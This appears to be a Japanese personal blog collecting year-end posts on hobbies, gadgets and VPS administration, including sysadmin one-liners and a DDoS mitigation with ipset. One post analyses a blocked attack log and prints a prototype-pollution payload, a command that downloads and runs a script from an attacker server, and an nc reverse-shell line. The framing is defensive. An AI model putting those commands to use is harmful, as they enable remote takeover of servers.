2026年も美味しい食事を味わいました。

日本海の味覚が詰まったお節。


お世話になっている方からの渾身のお節
など、今年は、いつになく美味しいものをいただけました。
年明けのボードゲームとして選んだのは、物理の『大鎌戦役』
こちらが選んだのは『ザクセン帝国』。使ったマットはエンジニアリング。

「オートマ」の奥深さにやられました。
カードのオートマという気まぐれな意志決定機関に振り回され、私の思考回路が追いつかず、イージーでも辛勝した事実。
71-53で勝ってはいますが、オートマの星章獲得の速さで、終盤、なりふり構わず領土拡大にシフトしたため勝てた次第です。
そこで改めて思ったのが

Warhammerを嗜む友人の手によるキャラクターとメックの詳細なペイント」
の時点で神棚ではなく戦場の第一線で使うべきものです。

何よりも「物理的なコンポーネントを手にする満足感」。これは、面倒なアナログのセットアップを帳消しにするほどの楽しさです。
今年こそもう少し回したいと思った次第です。
「これをやらないとこの年は終わらない」と思った結果です。

2025年、プライムデーでしれっと手に入れていた『スリザリンの紋章/談話室レゴ』。
「巳の年の締めくくり」にこれ以上のものはない
思いつつ組み立て。

パーツの割に分厚いインストラクション。これは相当かかりそうだと思いながら

完成。映画1本分を消費する程度の組み立て時間でした。

展開することで、あの映画の談話室をイメージできるようになっているのが高ポイント。

きちんと壁掛けの強度もあるのも良かったです。
今年は余裕ができたので、2025年の振り返りを改めてZENタイルで行おうと思います。

前半が厳しく、後半に天気があり、加速したという形。
年の前半は本当にキツかったです。仕事でもプライベートでも。
そんな中「絶対にこの結末は見届ける」という癸亥が生まれ、それを乗り切った中では
一番顕著だったのがThinkPadの購入により、行動範囲どころか思考回路が変わり
などが生まれ、仕事にも余裕が出てきたという次第。
も365日キチッと終えました。そんな中で、改めて思ったのが『アカギ』対市川戦
手段は選ばない
地獄を一度くぐっちまうことさ 南郷さん
ツキの女神はいつだって
その先にしゃがみ込んでいる
を体現した2025年でした。2026年はこの好調を維持できることを願うばかりです。
2025年12月末、筆者が検知する管理サーバにて検知された高スコア(Anomaly Score: 78)の攻撃ログです。現代的な脆弱性を複合的に狙った、非常に教育的(サンプルとして優秀)なログとして記録します。
[ModSecurity: Access denied with code 403 (phase 2)]
[Inbound Anomaly Score Exceeded (Total Score: 78)]
[Severity: CRITICAL]
[Attack breakdown]:
- RCE (Remote Code Execution): 65
- SQLI (SQL Injection): 5
- LFI (Local File Inclusion): 5
- COMBINED_SCORE: 78
攻撃者はJSONオブジェクトに偽装したパケットを送りつけ、以下の多層的なエクスプロイトを試みていました。
"__proto__": { "then": "$1:__proto__:then" }
これは近年のモダンなWebサーバ。Next.js / Node.js等の環境において、オブジェクトの基本プロトタイプを書き換え、アプリケーション全体の挙動を制御しようとする試みです。
JSONの内部に、バックドアを構築するためのOSコマンドが多重に仕込まれていました。(RCE攻撃)
# 攻撃者が意図した処理(推定)
cd /tmp;
wget -O /tmp/x.sh http://[REDACTED_ATTACKER_SERVER]/weball.sh; # 攻撃スクリプトの取得
chmod +x /tmp/x.sh;
sh /tmp/x.sh; # 実行
mkfifo /tmp/f;
cat /tmp/f | /bin/sh -i 2>&1 | nc [REDACTED_IP] [PORT] > /tmp/f; # リバースシェルの確立
とはいえ、この手の防御はしっかりとWAFが検知していました。
この攻撃は、ターゲットが特定のフレームワーク(Node.jsや特定のJSONパーサ)を使用していることを期待した「下手な鉄砲も数撃ちゃ当たる」式の乱射ですが、その内容はRCEを主軸とした極めて悪質なものです。
しかし、堅牢なWAF設定とIP遮断フィルタの前では、これほど複雑に組み上げられたペイロードも、「500バイト程度の無意味な文字列」に成り下がります。
漫画『ONE OUTS』にも引き合いに出された
「『いい鉄砲は打ち手を選ぶ』ってことわざ知ってるか?
威力のある鉄砲は その分扱いも難しく危険
だから未熟者が使うと打ち手の方がケガをするってことさ」
が自分へ向かうことのないよう、日々、管理/監視を怠らないようにする必要があると知った出来事でした。
2025年、いろいろと購入したガジェットがいくつもありました。その中で特に印象的だったもの。
「今年は万年筆を買わなくていいな」というもくろみが大きく崩れ去り「このままでは余計な出費をしなくて済む」まで打ち砕いた逸品。

の衝動買いの見本のようなもの。改めて「万年筆で書く楽しさ」に気づかせてくれたものです。

こちらも、バッテリーの持ちが悪いというストレスを元から絶った形。より軽く、心持ち薄く、完全にフィットしてQoEが上がりました。
6年ぶりの機種変。これによって得られたものは
世間ではいろいろ言われているようですが、自分に刺さったのがこの機種でした。
これは本当に大きいもの。
など、私の生活リズムそのものを変えたという形。
なお、このThinkPadは少し変化があるかもしれませんが
の三段構えは2026年も続けていくでしょう。
「MongoDBをs3fsで繋いでしまった」
ことによる課金地獄。
とはいえ、これにより
何よりも
「全ての責任が自分である以上、最後まで問題に取り組む」
という、エンジニアの必須スキルを改めて学べました。
元々、VPS運用を更に決定づけたドメイン「reisalin.com」の所有者ではありますが、新たに「ryza.jp」というわずか4文字で意味あるドメインが取れたことで、ますます「サーバ運用に真摯に向き合う」気概が生まれました。
月額980円キャンペーン期間が切れるタイミングでXServerに切り替え。月額1400円程度に上がりましたが、その分、
CPUモデル : AMD EPYC-Milan Processor
CPUコア数 : 4
合計メモリ : 5.78 GiB
利用可能メモリ : 1.97 GiB
合計スワップ : 2.00 GiB
に底上げ。
CPUとメモリを知ることができるワンライナーです
awk 'BEGIN {FS=":"; OFS="\t"} /^model name/ && !cpu_model {cpu_model=$2; gsub(/^ */, "", cpu_model)} /^processor/ {cores++} /^MemTotal/ {mem_total=$2} /^MemAvailable/ {mem_avail=$2} /^SwapTotal/ {swap_total=$2} END {printf "CPUモデル\t: %s\n", cpu_model; printf "CPUコア数\t: %s\n", cores; printf "合計メモリ\t: %.2f GiB\n", mem_total/1024/1024; printf "利用可能メモリ\t: %.2f GiB\n", mem_avail/1024/1024; printf "合計スワップ\t: %.2f GiB\n", swap_total/1024/1024}' /proc/cpuinfo /proc/meminfo
この底上げは何がありがたいかというと、今まで諦めていた
の同時稼働ができるようになったこと。また、折角だからとmod-phpからphp-fpmへとよりセキュアな構成にできたのもありがたいです。
の三構成によりオープンソースでありながら十分なセキュリティ強度を持たせた「ONE OUTS」を
「自分の投稿は偽陽性にならず、相手の疑わしい攻撃を検知する」
ものへと刷新することができました。
直近の出来事ですが、これをは特に印象深い出来事です。12月25日というクリスマスの朝、自サーバを襲ったDDoS。これを「前もって用意していた」ipsetでカウンターで来たことは何より重畳。
昨年末の「Wasabiクラウドの重課金」は「これ、私、今後、vpsを運用する資格があるのか?」思いましたが:
「資格? 馬鹿野郎、誰もそんなもの持ってねぇんだ! いいか、あるのは責任だけだ。戦う責任! あの子を傷つけちまった責任! そいつを果たすには、この地球を守るしかねぇんだ!
俺は慰めねぇぞ。励ますつもりもねぇ。自分の責任は自分でとれ! 立ち上がってこい、ダイモン! そしたら俺たちはいくらでも支えてやる」
――『救急戦隊ゴーゴーファイブ』第27話『イエロー戦線離脱!』
この言葉に救われました。このおかげで、今年は乗り切ることができたということで、今年のサーバ運用の締めくくりとしたいです。
IDEA SPHEREとして、8年ほど前の記憶を。
今でも乗っているブロンプトンで、(当時は1年も発っていない新車でした)奥秩父から祖父宅へと向かう途上です。
見通しはいいが延々と続く、なかなか骨の折れる上り坂の麓にさしかかろうかという中、
前方に二人のロードバイク乗りがいました。
こちらを見るなり、二人がニヤニヤと笑ったのを覚えています。(特に年配の方)
やがて坂道にさしかかり、しばらくして、後ろにいた新しいロードの方が、勢いよく私を抜いていきました。
「おお、飛ばすなあ」
ぐらいの心境です。そもそも速度に差がある小径車とロードバイク。競うつもりは端からありません。
ところが、しばらくすると前方の自転車(というよりも自転車乗り)に違和感がありました。
差は、少しずつ、しかし確実に縮まっていったわけです。
斜度が一番きつい区間を越え、ようやく平坦に近いところへ出た瞬間、私はそのロードを抜きました。
すると、後ろで見ていたであろう年配のローディが、すごい勢いでのぼってきて、新しいロードの前に立ち、何かを強い口調で言い始めました。
「こんなのに負けてちゃ、上達しないぞ」
「こうやってダンシングするんだ」
その瞬間、流石に気づきます。
私は当て馬にされたのかと。

彼らから見れば、極上の“かませ犬”だったのだと思います。
しかし、彼等には3つの誤算がありました。
祖父宅の近くとあるように、実質地元民です。どこで力を使い、キツいところと楽なところはどこか? 適切な力配分は? と体で知っていたこと。
これが最も致命的。
年配のローディーが犯した最大のミスは、「乗り手というエンジンの性能」と「経験値」を無視したことです。
こんな、素人に毛が生えた(ように見える)私を、小径車というだけで判断。
なにせカーボンとクロモリフレーム。軽さは歴然です。ギアもウェアの性能も明らかです。初心者に自信をつけさせるには十分な理があったのでしょう。
しかしながら、ロードの方々はブロンプトンのしなやかな剛性と「長距離を淡々と走ることができる『折りたたみ』自転車」という認識が欠けていて、私はその乗り方に合っていた。
この出来事を未だに昨日のことのように思い出すのは、私の普段のサーバ運用のスタイルと重なるからです。
サーバにしても、自転車にしても、その目的の本質は「安全性」です。特に、自転車はITと異なり「切り戻し」ができません。(できたらそれこそ魔法か何かです)
何かに勝つのは確かに重要ではありますが、「本質を見失っていないか?」「その勝負に適した獲物は?」「相手が有利、自分が不利な状況は?」を自答していく覚悟が問われました。
これは父が生前言っていた
「戦う相手には常に敬意を払え。その上で全力で叩き潰せ」
という言葉。これには続きがあり、父が夢枕に立ち
「これは、敬意を払わないと必ず慢心を生む。その慢心は油断になるという意味だからな」
とわざわざ但し書きをしたほどです。
またこれを引き合いに出しますが、『ハリー・ポッターと賢者の石』のオリバンダー翁の
The wand chooses the wizard, Mr. Potter. It's not always clear why
「杖が魔法使いを選ぶのです、Mr.ポッター。何故そうなるかは、はっきりとは分かりませんが」
に通じるものがあります。
高価な道具を使うことで自分が強くなったと錯覚してしまう。これは「自転車を楽しむ」ことではなく「他者と比較して優越感に浸る」ことが目的化している状態です。
抜かれた後に新人に説教を始めた年配者も、結局は「自分の見立てが外れた恥ずかしさ」を新人に転嫁しているに過ぎません。本来、自転車は自由な乗り物であり、他者を格付けするための道具ではないはずです。
結局の所、「道具と使い方、その覚悟」が問われる出来事だったので、未だに鮮明に覚えているんだろうなと思います。
『フルメタル・パニック ふもっふ』の『仁義なきファンシー』の
「貴様はひとつミスを犯した」
「敵の戦力は過小評価しないことだ。」
という真理を持って、本稿を締めくくりたいと思います。
設計書を書く際に面倒な「サーバの設定値の抜き出し」を楽にするためのコマンドです。
など、dnfで管理するタイプのコマンドです。
{ echo -e "| インタフェース | IPv4 アドレス | ゲートウェイ | DNS |"; echo -e "| --- | --- | --- | --- |"; nmcli -t -f GENERAL.DEVICE,IP4.ADDRESS,IP4.GATEWAY,IP4.DNS device show | awk -F: '/^GENERAL.DEVICE/ {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns; dev=$2; addr=gw=dns="-"; next} /^IP4.ADDRESS/ {addr=$2; next} /^IP4.GATEWAY/ {gw=$2; next} /^IP4.DNS/ {dns=(dns=="-" ? $2 : dns ", " $2); next} END {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns}'; }
| インタフェース | IPv4 アドレス | ゲートウェイ | DNS |
実行と同時に、こういうマークダウンができあがります。(IPはダミーです)
| インタフェース | IPv4 アドレス | ゲートウェイ | DNS |
| ens192 | 192.0.2.10/24 | 192.0.2.1 | 8.8.8.8, 8.8.4.4 |
| ens224 | 198.51.100.50/24 | 198.51.100.1 | 1.1.1.1 |
| virbr0 | 192.168.122.1/24 | - | - |
| docker0 | 172.16.0.1/16 | - | - |
| lo | 127.0.0.1/8 | - | - |
など、aptを用いるLinuxディストリビューションです。
Ubuntuはnmcliを用いないので、同じようにいきません。
{
echo "| インタフェース | IPv4 アドレス | ゲートウェイ | DNS |"
echo "| --- | --- | --- | --- |"
nmcli -t -f GENERAL.DEVICE,IP4.ADDRESS,IP4.GATEWAY,IP4.DNS device show | \
awk -F: '/^GENERAL.DEVICE/ {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns; dev=$2; addr=gw=dns="-"; next}
/^IP4.ADDRESS/ {addr=$2; next}
/^IP4.GATEWAY/ {gw=$2; next}
/^IP4.DNS/ {dns=(dns=="-" ? $2 : dns ", " $2); next}
END {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns}'
}
これの実行結果は
| インタフェース | IPv4 アドレス | ゲートウェイ | DNS |
| br-dummy01 | 10.0.0.1/16 | - | (br-dummy01): |
| docker0 | 172.16.0.1/16 | - | (docker0): |
| eth0 | 192.0.2.15/24 | 192.0.2.1 | (eth0):, 8.8.8.8, 1.1.1.1 |
| veth_abc123 | - | - | (veth_abc123): |
| veth_def456 | - | - | (veth_def456): |
| veth_ghi789 | - | - | (veth_ghi789): |
これをどっかに仕込んでおくだけでも管理は楽になります。
自分のサーバに組み込んでいるWebセキュリティシステム(と言ってもスクリプトと設定の組み合わせ) 『ONE OUTS』システム。こちらの弱点を見越した追加設定が効力を発揮しました。
「自分のvpsがDDoSを喰らったので、カーネルレベルで対処して沈静化」した時のメモです。
話は2025年12月25日7:40JST。筆者が管理しているサーバにて、サービスダウンを確認。
そこで、状況を調べます。
自作ツール「top-procs」にて
--- CPU Consumers (Top 10) ---
%CPU %MEM PID USER UNIT COMMAND
------------------------------------------------------------------------------------------
85.5 5.1 45114 www-data apache2.service Passenger RubyApp: /home/www-data/app (production)
と、CPU利用率85%以上を確認。
netstat -tan を実行すると、以下のようなコネクションが大量に表示されました。
tcp6 0 34498 192.0.2.1:443 198.51.100.15:29862 LAST_ACK
tcp6 0 0 192.0.2.1:443 203.0.113.84:47044 TIME_WAIT
tcp6 0 0 192.0.2.1:443 192.0.2.55:38844 TIME_WAIT
tcp6 0 0 192.0.2.1:443 198.51.100.200:57934 ESTABLISHED
...(中略)...
tcp6 0 34081 192.0.2.1:443 203.0.113.120:27327 LAST_ACK
総計700行にも及ぶコネクション。これは確実に「DDoS」攻撃です。
で構成されたONE_OUTSシステムはアクセスログを主体としてL7層(アプリケーション層)での防御を行うもの。なので
と言った「そもそもログに残らない」「ページの閲覧など関係ない」相手には無意味です。(実際、上記をONE OUTSシステムに組み込んでもアクセスログ(という名の執拗なRedmineへのアクセス)が止まりません。
しかも、DDoSというものは実に厄介です。
という、「物理の力でごり押しする破壊行為」です。
漫画『ドリフターズ』にもある
「こりゃ堕とせんと思ったら
その時から目的は変わるのよ
占領からいやがらせに変わる」
この、いやがらせ目的のため、自分のサーバのリソースが奪われるという状況は見過ごせません。
「こんなこともあろうかと」前もって用意していた「ipset」の設定をフルに使いました。
第2オクテット(/16)どころか、悪質なレンジに対しては「第1オクテット(/8)」すら一括でブロックする運用です。
上記リンクの通り
が事前準備です。
実はこれがハマった点でした。
sudo iptables -L ufw-before-input -n --line-numbers | head -n 5
として、
Chain ufw-before-input (1 references)
num target prot opt source destination
1 DROP 0 -- 0.0.0.0/0 0.0.0.0/0 match-set ufw-blocklist src
2 ACCEPT 0 -- 0.0.0.0/0 0.0.0.0/0
3 ACCEPT 0 -- 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED
と、match-set ufw-blocklist srcが記されていることを確認します。(私はこれに記述違いがあり、後で修正する羽目になりました)
これにはAIの力を借りました。netstat -tanの結果やアクセスログを元に
を第1オクテット/第2オクテットで抜き出してもらいます。
#!/bin/bash
# 1. ターゲットのipset名
SET_NAME="ufw-blocklist"
# 2. DDoS主犯格リスト (CIDR表記)
BAN_LIST=(
"xx.0.0.0/8"
"yy.0.0.0/8"
"zzz.0.0.0/8"
# 執拗な個体 (CIDRではなく単一IPも登録可能)
"abc.def.0.0/16"
)
echo "Hogwarts is threatened!: ${SET_NAME}..."
# 3. ループ処理で注入
for ip_range in "${BAN_LIST[@]}"; do
# -exist オプションをつけることで、既に登録済みでもエラーにせずスキップさせる
sudo ipset add ${SET_NAME} ${ip_range} -exist
if [ $? -eq 0 ]; then
echo " Checking... ${ip_range} -> Loaded."
else
echo " Error adding ${ip_range}"
fi
done
echo "Man the boundaries, protest us, do your duty to our school!"
sudo ipset save ${SET_NAME} -f /etc/ufw/ipsets.save
echo "I've always wanted to use that spell!"
というシェルスクリプトで一気に登録しました。(処理中のechoは『ハリー・ポッターと死の秘宝 part2』屈指の名シーンです)
そもそも、私のvpsは
大嫌いだからです。 主目的は
「私が後で閲覧するときのメモ帳」です。なので、私がアクセスしてこないようなアクセス元のブロックは一切の躊躇を行いません。そのため、\/8で切ることに躊躇はしません。
cat /etc/ufw/ipsets.save
で、
cat /etc/ufw/ipsets.save
create ufw-blocklist hash:net family inet hashsize 1024 maxelem 65536 bucketsize 12 initval 0xcce80b68
add ufw-blocklist xxx.0.0.0/8
などと表示されればブロック成功です。
効果は覿面でした。見られなかったRedmineサイトは無事に表示され、
--- CPU Consumers (Top 10) ---
%CPU %MEM PID USER UNIT COMMAND
------------------------------------------------------------------------------------------
19.3 5.1 45114 www-data apache2.service Passenger RubyApp: /home/www-data/app (production)
CPU利用率も正常に用いました。
今回、迅速に対処できたのは、以下の確信があったからです。
事前に「OSの負荷を抑えつつ高速にブロックできる仕組み」を構築していたことが功を奏しました。クリスマスというタイミングを狙ったのは、ホリデーシーズンによる対応の遅れを期待した計画的なものだったのでしょう。
連合艦隊解散の辞にある、
古人曰ク勝ツテ兜ノ緒ヲ締メヨト。
という言葉の重みを再認識する出来事でした。
Powered by WordPress & Theme by Anders Norén